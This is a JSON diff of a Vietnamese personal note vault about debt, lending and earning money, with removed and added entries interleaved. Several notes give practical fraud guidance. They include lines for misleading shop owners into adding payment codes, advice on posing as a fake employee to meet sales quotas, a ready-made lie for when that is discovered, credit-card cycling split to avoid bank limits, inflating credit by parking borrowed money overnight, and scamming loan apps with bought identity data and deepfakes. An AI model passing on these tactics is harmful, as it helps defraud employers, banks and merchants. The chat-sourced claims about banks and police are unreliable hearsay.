đẩy giáo dục và Nâng cao năng lực Phụ nữ (CEPEW) |\n| | Triết học về giới (VGEM 2) | ECUE |\n| | Đồng hành gieo mầm phát triển (DIF) | ECUE |\n| | I Commit | Trung tâm Nghiên cứu phát triển bền vững (CSDS) |\n| | Trường học Phát triển Việt Nam (VSOD) | |\n| | Giao tiếp hạnh phúc | CMC parenting |\n| | Đạo và Đời | Fred Hub |\n| | Diễn đàn Thanh niên Kiến tạo | Trung tâm Nghiên cứu phát triển bền vững (CSDS) |\n| | Nhập môn Nhiếp ảnh | Mở |\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-09T13:45:00.000Z", - "Ngày cập nhật": "2024-08-14T14:25:00.000Z", + "Ngày tạo": "2024-08-23T09:38:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3d" }, { - "Tiêu đề": "Nói mình là nhân viên Momo nhưng gắn mã công ty khác sẽ dễ hơn", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Nói mình là nhân viên Momo nhưng gắn mã công ty khác sẽ dễ hơn", + "Tiêu đề": "DoctorDong là bên mở màng cho thị trường này tại Việt Nam. Bây giờ là Cayvang", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/DoctorDong là bên mở màng cho thị trường này tại Việt Nam. Bây giờ là Cayvang", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu cửa hàng đã có Momo rồi thì thường họ sẽ không có nhu cầu gắn thêm mã khác. Nếu muốn họ gắn mã khác thì có thể nói là \r\n```\r\nHôm nay ngân hàng tặng anh chị cái mã này, hoạt động tương tự như Momo\r\n```\r\n", + "Toàn bộ nội dung": "Bọn này biết khi đã cần tới app này rồi nghĩa là đang cần chạy đầu này đáp đầu kia, nên các app khác thực ra cũng là cùng một hội với lãi suất tăng dần. \n[Cạm bẫy vay tiêu dùng lãi suất \"cắt cổ\" - Tạp chí Tài chính](https://tapchitaichinh.vn/cam-bay-vay-tieu-dung-lai-suat-cat-co.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T09:41:00.000Z", + "Ngày tạo": "2024-08-27T09:26:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3e" }, { - "Tiêu đề": "Script", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Script", + "Tiêu đề": "Vay nóng nếu không trả sẽ bị bêu xấu với mọi người", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Dịch vụ cho vay khác/Vay không điểm tín dụng/Vay nóng nếu không trả sẽ bị bêu xấu với mọi người", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Thêm số thứ tự vào các hình hàng loạt\nHữu ích cho việc phân biệt mã nào mình đã làm rồi, mã nào chưa\n```PowerShell\n$i=1; Get-ChildItem -file | ForEach-Object {\n $filename=$_.name\n $basename = $_.basename\n $output = \"$basename$i.jpg\"\n $output; \n magick convert -pointsize 300 -fill red -draw \"text 60,600 `\"$i`\"\" \"$filename\" $output\n $i++\n} \n```\n\n![[a.jpg|200]] → ![[a1.jpg|200]]\n", + "Toàn bộ nội dung": "spam hết messenger a đấy\n+ post facebook a\n\na sẽ bị spam bêu xấu với mọi người trong danh bạ của a\na sẽ bị đăng hình trên social\nsẽ bị nó công kích người thân\nvay nóng ko lq gì tới cic\nvay nóng hay còn gọi là app đen là do mấy tụi tàu hoặc cờ bạc bên campuchia cho vay cắt cổ để a lại, nó là mảng đen\nnhư a mượn anh chị xã hội thôi\nchỉ có 1 số thằng thuộc tổ chức tín dụng hoặc ngân hàng mới đủ legit lên cic\ncòn tín dụng đen chỉ cần deep fake, 1 cccd 1 sdt verified là đủ\nnên em mới hỏi a, a dám làm black ko\na chỉ cần mua infor và ẩn sao tốt nhất có thể là có thể đi scam toàn bộ các app đen\n\nkhi a xù bùng nó, khoảng bảo hiểm này sẽ được active\nnó sẽ bán khoản vay này cho bên đòi nợ\nnó ko bận tâm chi việc đòi nợ\nnó chỉ disturb a cho vui\nrồi đẩy outsource hồ sơ sang bên đòi nợ\nko, nó là quy trình\n3 bên: người vay, người cho vay B và người đòi nợ C\nkhi a xù B, thì B chỉ gọi trong vài ngày đầu đe doạ nhẹ\nsau đó nó ko cần bận tâm, nó đẩy hồ sơ đó cho C làm việc\nOoker: Thì bọn C nếu đòi được thì sẽ đc nhận số tiền đó à?\nKendy: 50-50\nB50- C50\n[[Xù nợ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-14T14:26:00.000Z", + "Ngày tạo": "2024-07-22T10:02:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3f" }, { - "Tiêu đề": "Xử lý tình huống, câu hỏi thường gặp", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Chạy chỉ tiêu cho nhân viên các công ty/Tài liệu/Xử lý tình huống, câu hỏi thường gặp", + "Tiêu đề": "Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Các công ty con cho vay từ các ngân hàng lớn là để lách giới hạn lãi suất", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Chạy chỉ tiêu cho nhân viên các công ty", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tôi thấy việc làm nhân viên ảo là việc không nên\r\nCòn bên pru ng chịu thiệt là ko có ai ở đây. Nếu có là ng hưởng lợi cao nhất là tổng giám đốc hoặc các nhà đầu tư chẳng hạn. Một ng ko mấy bị ảnh hưởng bởi số tiền nhỏ\r\nCòn cái này là một con người trực tiếp em tiếp xúc\r\nChịu thiệt ở đây, là do họ có chính sách ko triệt để, để bị trục lợi, mà thực ra họ có biết, nhưng mục đích của chính sách thì tốt cho tổng quan hơn, nên họ cho phép nó xảy ra\r\n\r\nAnh có biết môn kiểm toán ko, ví như ngta biết có lỗ hỗng nào đó, tuy nhiên chi phí sửa lỗ hổng còn to gấp nhiều lần việc mặc kệ nó\r\nThì ngta cho phép nó cứ thế xảy ra\r\n\r\nCông ty có cảm thấy mình bị lừa khi \r\n\r\nNg dạy em họ thừa biết là em fake\r\nTổng thể cty ng ta ngầm đồng ý như v\r\nCòn cái này em ko thấy có sự đồng ý của anh lead\r\nQuan trọng hơn là ảnh trực tiếp làm việc với em nữa chứ\r\n[[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]]\r\n# Tôi là người cho mượn tài khoản ngân hàng để các bạn quẹt. Chuyện gì sẽ xảy ra nếu các bạn bị phát hiện?\r\nVì là trung gian thanh toán, nên các ví điện tử đứng ra bảo lãnh cho người quẹt. Chuyển khoản thì còn không biết đang làm gì, chứ dùng trung gian thanh toán thì xác định là mua hàng. Ngân hàng sẽ thấy là sạch, và điểm tín dụng sẽ cao hơn. Hoặc chẳng qua nó nhắm mắt làm ngơ, vì bọn mình chưa đủ lớn để truy tố hay thả lưới. Nếu bọn mình làm lớn thì chắc đã không phải nhờ tới các bạn rồi.\r\n\r\nLuật cấm rút tiền mặt tại cửa hàng để tránh việc rửa tiền. Nhưng đó là rút tiền mặt. Nhưng nếu cửa hàng chuyển trực tiếp lại cho mình thì sao?\r\n\r\nMỗi lần chỉ 20k\r\n[Kiên quyết xử lý những điểm không được phép kinh doanh dịch vụ rút, chuyển tiền trái phép](https://baothanhhoa.vn/kien-quyet-xu-ly-nhung-diem-khong-duoc-phep-kinh-doanh-dich-vu-rut-chuyen-tien-trai-phep-122634.htm \"Kiên quyết xử lý những điểm không được phép kinh doanh dịch vụ rút, chuyển tiền trái phép\")\r\n\r\n\r\nBài chi tiết:: [[Một giao dịch khi quẹt qua trung gian thanh toán sẽ trở thành một giao dịch mua hàng sạch trong mắt ngân hàng]]\r\n# Tôi chấp nhận làm nhân viên ảo trong công ty. Chuyện gì sẽ xảy ra nếu tôi bị phát hiện là làm ảo?\r\nVNPAY sẽ phạt nội bộ NV. Hình phạt cao nhất của việc quẹt dơ là không tính KPI của NV đó, còn tạo cửa hàng ảo thì là đuổi luôn.\r\n\r\nNếu bị lộ thì có thể nói là bạn đang thực hành nhân học trong công ty. Những cửa hàng thấy số lượng giao dịch cao bất thường là bạn đang làm một thử nghiệm xã hội về hành vi giúp đỡ của chủ cửa hàng khi nhận được yêu cầu giúp đỡ. Thử nghiệm tiến hành như sau:\r\n- Đầu tiên bạn vào quán lúc vắng và ăn như bình thường. Nhân viên nào cũng có quẹt cả\r\n- Sau đó bạn hỏi là ở quán có bao nhiêu người ăn xin, bán rong mỗi ngày\r\n- Sau đó bạn gửi tiền cho chủ quán, \r\n\r\nBạn rất lấy làm tiếc khi đã không trung thực trong lúc xin việc, nhưng công việc nghiên cứu đòi hỏi mình phải giữ bí mật, để kết quả không bị ảnh hưởng. Bạn có thể chia sẻ là thật ra tới lúc nghỉ thì bạn sẽ tiết lộ về dự án của bạn, vì đạo đức nghiên cứu đòi hỏi sự minh bạch. Chỉ tại bạn bị lộ sớm hơn dự tính.\r\n\r\nViệc này sẽ khiến công ty thấy kỳ lạ, khác biệt, không bị trục lợi.\r\n", + "Toàn bộ nội dung": "Lý do:: [[Ngân hàng lớn ưu tiên cho vay doanh nghiệp, ngân hàng nhỏ khó cạnh tranh thì cho vay cá nhân]]\r\nnhưng cho vay dễ dính bẫy luật lãi suất là ko cho quá 20% lãi/năm nên các ngân hàng nhỏ đẻ ra các cty con cho vay để có gì chỉ chết con mà còn mẹ\r\nnhư VP đẻ ra cake, Bản Việt đẻ ra timo\r\n\r\ndn ko bị giới hạn ls vay\r\nđẻ ra thì con chết kệ con miễn có tiền. 45 50 là bt.\r\nCông an chưa xử lý vì đag dùng tiền kéo dài duration ra\r\n1 vụ án giả sử điều tra 2 năm\r\nthì a expand ra 10 năm xử\r\ngom tiền đến năm 9th công bố phá sản\r\nez xoá tội\r\nKendy: a thấy tiền lãi nó đag gấp 2 3 lần ko\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:39:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3g" }, { - "Tiêu đề": "Bản câu hỏi cho người cần được hỗ trợ thoát nợ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Bản câu hỏi cho người cần được hỗ trợ thoát nợ", + "Tiêu đề": "Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Tình hình nợ hiện nay thế nào? Các khoản nợ, lãi và thời hạn trả của chúng, v.v.\r\n- Tình hình nợ này ảnh hưởng đến cuộc sống của bạn thế nào?\r\n- Bạn có thể chia sẻ chi phí sinh hoạt của bạn được không? Càng chi tiết càng tốt\r\n- Đây là [[Tạo sinh kế, thu nhập, dòng tiền|Một số ý tưởng kiếm tiền]]. Bạn có mong muốn tham gia vào các hoạt động nào?\r\n- Trong [[Các dịch vụ cho vay]], bạn đã dùng tới những dịch vụ nào? Vì sao chúng không phù hợp với bạn?\r\n- Bạn có chấp nhận [[Xù nợ]] không? Vì sao?\r\n- Ai sẽ là người bạn cảm thấy thoải mái khi họ biết được những gì bạn ghi ở đây? Vì sao?\r\n\r\n[[Các nhóm tặng đồ]]\r\n\r\n**Mục tiêu: cắt hết lãi**\r\n", + "Toàn bộ nội dung": "Khái niệm:: [[Điểm tín dụng]], [[Nợ]], [[App đen]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-14T14:27:00.000Z", + "Ngày tạo": "2024-08-31T06:32:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3h" }, { - "Tiêu đề": "Huy động nguồn tiền nhàn rỗi", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Huy động nguồn tiền nhàn rỗi", + "Tiêu đề": "Debit nghĩa là ngân hàng nợ mình, credit là mình nợ ngân hàng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Debit nghĩa là ngân hàng nợ mình, credit là mình nợ ngân hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Cho vay lấy lãi]]\r\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T10:09:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3i" }, { - "Tiêu đề": "Thương lượng với chủ nợ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Thương lượng với chủ nợ", + "Tiêu đề": "Hạn mức và lãi suất không liên quan tới hộ khẩu", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Hạn mức và lãi suất không liên quan tới hộ khẩu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Nhiều tiền hơn có làm tăng thêm hạnh phúc, nhưng việc có những mối quan hệ chất lượng đem lại nhiều hạnh phúc hơn]]. Nếu sự giảm nợ hoặc gia hạn nợ đem cho họ những mối quan hệ chất lượng hơn thì có thể họ sẽ chấp nhận.\r\n\r\nNgười làm công việc thương lượng với chủ nợ cần thấy việc tiếp cận và xây dựng sự tin tưởng với chủ nợ và những người xung quanh là thú vị. Họ cần thấy việc tìm hiểu những thứ sau là thú vị:\r\n- Quá khứ của chủ nợ\r\n- Các nhu cầu của chủ nợ\r\n- Mạng lưới xã hội của chủ nợ\r\n- Hệ thống niềm tin của chủ nợ\r\n\r\nTừ đó lên kế hoạch để thuyết phục họ cân nhắc lùi thời hạn nợ hoặc giảm nợ.\r\n\r\nVề cơ bản, trong giai đoạn tìm hiểu người làm công việc này sẽ là một nhà nhân học nghiệp dư kiêm OINST nghiệp dư. Khi lên kế hoạch thuyết phục thì là nhà công tác xã hội nghiệp dư.\r\n\r\n[(Trong tiếng Anh, nghĩa gốc của *amateur (nghiệp dư)* là những người làm vì đam mê, chứ không phải là trình độ còn non)](https://obsidian.quảcầu.cc/⚡Hiểu%20biết%20sâu/Kinh%20tế.%20Tâm%20lý%20học%20quản%20lý%20và%20lao%20động/Kinh%20tế/Lịch%20sử,%20triết%20học,%20chính%20trị,%20xã%20hội%20học%20trong%20kinh%20tế/Trong%20tiếng%20Anh,%20nghĩa%20gốc%20của%20amateur%20(nghiệp%20dư)%20là%20những%20người%20làm%20vì%20đam%20mê,%20chứ%20không%20phải%20là%20trình%20độ%20còn%20non?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Tài+nguyên)&utm_medium=Vault&utm_campaign=C1&utm_content=&utm_term=)\r\n\r\nNgười điều hành [Quỹ Tình Thân](https://www.facebook.com/profile.php?id=100077601589557&v=timeline&lst=100038413598261%3A100077601589557%3A1684514892&eav=AfZ-gv2lqyQB0Aq69YPKH02KBMzxO_jh4u9moWoAnA8pDhYcwmMc0rLzR_dOt0o4jOQ&refid=17&paipv=0 \"Facebook\"), anh [[Phạm Trường Sơn]], là một nhà công tác xã hội và có nhiều kinh nghiệm làm việc với dân xã hội đen. Nếu bạn có nhu cầu bọn mình có thể kết nối với ảnh.\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-25T08:33:00.000Z", - "Ngày cập nhật": "2024-07-28T06:19:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3j" }, { - "Tiêu đề": "Tìm nguồn cho mượn 100tr qua đêm, sáng hôm sau trả lại, liên tục vài tháng", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Tìm nguồn cho mượn 100tr qua đêm, sáng hôm sau trả lại, liên tục vài tháng", + "Tiêu đề": "Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng chỉ cần đất, sổ tiết kiệm hoặc ô tô, chứ mấy cái nhỏ sẽ từ chối", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bởi vì [[Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày]], nên \r\nNhư vậy, bọn mình cần tìm nguồn có thể cho Kendy mượn tầm 100tr để trong ngân hàng qua đêm, sáng hôm sau trả lại cũng được. Chỉ cần đến trước 5h chiều thì lại cho mượn tiếp. \r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T05:34:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3k" }, { - "Tiêu đề": "Đứng ra vay giùm", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Công việc/Đứng ra vay giùm", + "Tiêu đề": "Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng cấp tín dụng bằng việc nhìn số tài khoản vào cuối ngày", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tốn thời gian nhất là cứ phải làm kyc, nhập thông tin địa chỉ thủ công. Đã nhập rồi nhưng vẫn cứ phải làm lại\n[[App vay nóng không cần điểm tín dụng]]\n\n%% \nĐỗ Hàng Minh Trí: 0378 303 123\nHồng Thị Tuyết Nhi: 0336 408 666\n%%\n\n- Người sáng lập Quả Cầu, 1 tổ chức hoạt động vì con người, a có thu nhập thông qua các tổ chức + mở các team tham gia code bán các sản phẩm trên Patreon\n- **Thu nhập:** tầm 15 → 25tr/ tháng, có em là nhân viên và nhi là đồng sự\n- **Mục đích vay:** mua khoá học chứng khoán của quách mạnh hào bên qmv, giá 20tr/ năm\n\ncó thể đợi để mua luôn được, nhưng cần thời gian học nên cần vay mua trước vì đã thanh toán tiền hàng\ncty a ngay tại chính nhà a luôn, tận dụng chung cư làm office để mọi người làm, nhưng đa phần là làm remote\nanh ko cần vay hết 20tr, mà chỉ cần vay 16tr, thì có gói nào ls vừa phải, thời hạn tầm 12 → 18 tháng đều đc\n\nXem thêm:: [[Các dịch vụ cho vay]]\n\n", + "Toàn bộ nội dung": "Một trong những cách để ngân hàng cấp lại tín dụng của mình là có tiền để qua đêm. Buổi sáng tài khoản không có gì cũng được. Làm như vậy tầm vài tháng thì ngân hàng sẽ nghĩ là mình có nguồn tiền dư thì sẽ cấp tín dụng cao hơn.\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-28T07:06:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3l" }, { - "Tiêu đề": "Kendy cần gì?", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Giúp nhau thoát nợ/Kendy/Kendy cần gì", + "Tiêu đề": "Ngân hàng không nghi ngờ mình đáo vì ngân hàng thích cho mình nợ hơn là cho mình tiền", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Ngân hàng không nghi ngờ mình đáo vì ngân hàng thích cho mình nợ hơn là cho mình tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Giúp nhau thoát nợ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Cần giảm áp lực trả nợ, tạo dòng tiền, xây dựng hệ thống quản lý, giảm tiền cho các nhu cầu", - "Toàn bộ nội dung": "Cảm ơn bạn đã quan tâm tới Kendy. Thực ra bọn mình nghĩ việc góp tiền cũng làm khó khăn cho bạn, và về lâu dài cũng không bền vững. Trừ phi bạn có thể cho mượn một số tiền lớn với kỳ hạn dài, còn không thì chỉ nên quyên góp vào những thời điểm bí bách.\r\n\r\nĐây là những thứ Kendy cần:\r\n# Giảm áp lực trả nợ\r\n```dataview\r\nLIST\r\nFROM \"📐 Dự án/Giúp nhau thoát nợ/Công việc\" \r\n```\r\n# Tạo dòng tiền\r\nBài chi tiết:: [[Tạo sinh kế, thu nhập, dòng tiền#Đầu tư, kinh doanh, bán hàng|Kiếm tiền từ các hoạt động của Quả Cầu]]\r\n\r\n# Xây dựng hệ thống quản lý\r\nTrấn Kỳ được sinh ra là để giúp Kendy nắm được các hạn trả nợ. Đây là phản hồi của khách hàng đầu tiên:\r\n\r\n> script này là 1 phần trong lộ trình xử lý nợ, nên anh thừa biết nó quan trọng ntn đối vs bản thân em, dù ở ngoài nhìn vào nó đơn giản chỉ là ghi chú chi tiêu, nhưng nó giảm áp lực khá nhiều khi e dần bản lĩnh nhìn vào từng con số, vì nó luôn layon trên cái calendar nên em fai đối mặt thay vì sợ nó như trước\r\n> nên giờ việc xử lý nợ hay script này đều là 1 part của việc giải quyết nợ, và nếu điều này xong thì tuyệt quá, e sẽ có thêm gaps để nhảy vào income, chứ thú thực e đang rất ngợp người, nay ngày 6 rồi a\r\n\r\nXem thêm:: [[Lý do viết Trấn Kỳ]]\r\n\r\nHệ thống quản lý hiện nay của Kendy là Fibery. Kendy rất đau đớn khi phải từ bỏ Obsidian, vì [[Obsidian không mạnh về quản lý công việc]]. Nếu ai có thể giúp tạo plugin để quản lý công việc như Fibery trên Obsidian thì rất tốt, vì Fibery không tuỳ biến cao được và việc nhập liệu cũng như truy xuất dữ liệu gây khó chịu rất lớn cho Kendy. \r\n- [ ] Thông tin ở các nơi được lưu về một chỗ: nếu có thể copy nhanh các tin nhắn trên Discord vào Obsidian hoặc Fibery\r\n- [ ] Truy cập nhanh: có nút để vào kênh mình cần ngay ở ngoài chứ không phải bấm thêm nút nào nữa.\r\n%%❓Vẫn vào kênh Obsidian được mà%%\r\n\r\n# Giảm tiền cho các nhu cầu sống khác\r\n- **Ăn:** Lượng thức ăn bỏ phí trong thành phố là rất lớn, đặc biệt là ở các tiệc cưới. Có FoodShare là tổ chức giúp giảm bớt sự lãng phí này\r\n- **Ở:** Nhà trọ hiện tại không được thông gió dù cũng có cửa sổ. Nếu dọn về quê thì cũng không có điều kiện để kiếm tiền\r\n- **Nuôi con:** \r\n- **Y tế:** Cần tìm người có kiến thức y học để có thể lên một chế độ dinh dưỡng phù hợp\r\n\r\n# Những vấn đề khác khiến việc giúp đỡ trở nên khó khăn\r\nLiên quan đến chuyện tiền bạc:\r\n- Không chịu mất tín dụng ngân hàng vì sau này khó làm ăn\r\n- Không muốn ngồi bàn vì cần tiền trong tay hơn là những lời hứa cho tương lai\r\n- Sợ bị lừa thêm lần nữa. Thấy rất ngạc nhiên khi thấy có những người sẵn sàng bỏ tiền ra để giúp người khác không vì điều gì cả\r\n- Rất tin tưởng rằng tất cả những người trong kinh doanh chỉ muốn đạt lợi ích lớn nhất cho mình, và việc đặt mục tiêu từ thiện làm mục tiêu kinh doanh là sai lầm lớn của một người\r\n- Nhất định phải có lợi ích cho cả hai bên. Nếu thấy người khác giúp mình mà điều đó không giúp được gì cho họ thì sẽ từ chối\r\n- Không muốn vì mình mà làm liên luỵ người khác, không lan toả sự tiêu cực của mình. Việc bàn về khó khăn của mình là sự tiêu cực, nên cũng không muốn bàn chuyện của mình để người khác không tiêu cực thêm\r\n- Không muốn cho người khác biết tình hình nợ vì sợ bị nghĩ là mình vòi tiền, và muốn bảo vệ mình khỏi bị người khác vòi tiền\r\n- Rất chú trọng việc giữ uy tín. Nếu đã vay thì tới hạn sẽ cố gắng trả cho bạn, dù bạn đã nói là cứ giữ tiền đó vì bạn không cần có tiền ngay lúc đó. Mọi thứ luôn phải có lộ trình và kỷ luật, chứ không tự phát được\r\n- Khi cần nói về lãi thì cần ngồi vào xem hệ thống chứ không nói suông được\r\n\r\nKhác:\r\n- Khi đang bị áp lực trả nợ thì cũng không có thời gian để nói cho người khác biết tình hình nợ của mình \r\n- Đưa ra lời khuyên mà không hỏi mình có thực sự cần không, vì thấy rằng việc hỏi là đang thiếu nhạy cảm với họ. Cho rằng mình không cần biết người nhận có dùng nó hay không, vì nếu mà muốn biết nghĩa là mình đang tham lam\r\n- Khi hỏi lời khuyên của người khác mà câu trả lời đã từng đem lại trải nghiệm tệ thì phản ứng từ chối sự hợp lý của lời khuyên đó cao\r\n\r\nXem thêm:\r\n- [[Giúp đỡ người mắc nợ]]\r\n- [[Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền]]\r\n", + "Toàn bộ nội dung": "Example: e cần đáo 100tr thẻ vcb\r\nRule của 1 số máy pos: <30tr/ giao dịch & <100tr/ ngày\r\nthì 100tr trên của em có thể chia làm 2 ngày, mỗi ngày đáo 50tr, mỗi giao dịch tầm 20 → 30tr là đc\r\nchỉ là đúng luật, nhưng ko tránh khỏi việc A.I của bank biết vì các giao dịch lớn diễn ra 2 - 3 ngày liên tục tại cùng 1 vị trí pos\r\nOoker: vậy sao ko giam tiền?\r\nKendy: ngân hàng đc lợi\r\nmỗi lần cà ngân hàng được 2% hoa hồng\r\nnên dù biết vi phạm nhưng vì cái số kia quá lớn nên nhắm mắt làm ngơ, chỉ khi nào a làm quá lộ liễu cần 1 vài tốt thí mạng thì nó mới khoá\r\nOoker: hoa hồng từ cái máy pos à?\r\nKendy: người có máy pos cho thuê, chủ cửa hàng trả tiền thuê là 1, mỗi giao dịch trên máy pos được ngân hàng ăn 2% trên tổng bill\r\nthấy thơm ko, nên ngu gì ngân hàng tự bóp mình\r\nOoker: nhưng công an mà phát hiện nó ko truy ra là sao ngân hàng ko tìm cách chống lại chuyện này à? \r\nKendy: côgn an nào rảnh a, chỉ khi nào ngân hàng truy tố thì công an mới vào cuộc\r\ntuy ngân hàng nhắm mắt làm ngơ nhưng trên ngân hàng còn 1 đống thứ kiểm soát lớn hơn như kiểm toán, ngân hàng nhà nước, nó check kiểm tra\r\nOoker: nó ở đây là công an hay ngân hàng?\r\nnếu ca ko rảnh thì sao còn phải đi chìm bắt bọn làm đáo làm gì?\r\nKendy: nó ở đây là các bên cao hơn ngân hàng để đi kiểm trả tụi ngân hàng\r\nko phải đi bắt, mà là Rule nhà nước cấm cho việc rút tiền mặt từ thẻ tín dụng xài, việc rút tiền này ⇄ đáo thẻ, nên khi bank nó define anh đang rút tiền mặt thẻ tín dụng, nó có quyền báo c.an\r\nOoker: tại sao luật lại cấm?\r\nKendy: anh đi mà hỏi quốc hội\r\nOoker: chứ em cũng ko biết à?\r\nKendy: nó là luật\r\nông nhà đặt ra rule như thế\r\nem đâu có thẩm quyền gì mà kiến nghị\r\ncái này nếu giải thích thì em biết\r\nhơi thiên về kinh tế vĩ mô\r\nngân hàng thích cho anh nợ hơn là cho anh tiền\r\nvì khi anh rút tiền, đồng nghĩa với việc tiền bị bơm ra thị trường, tiền rẻ → tiền mất 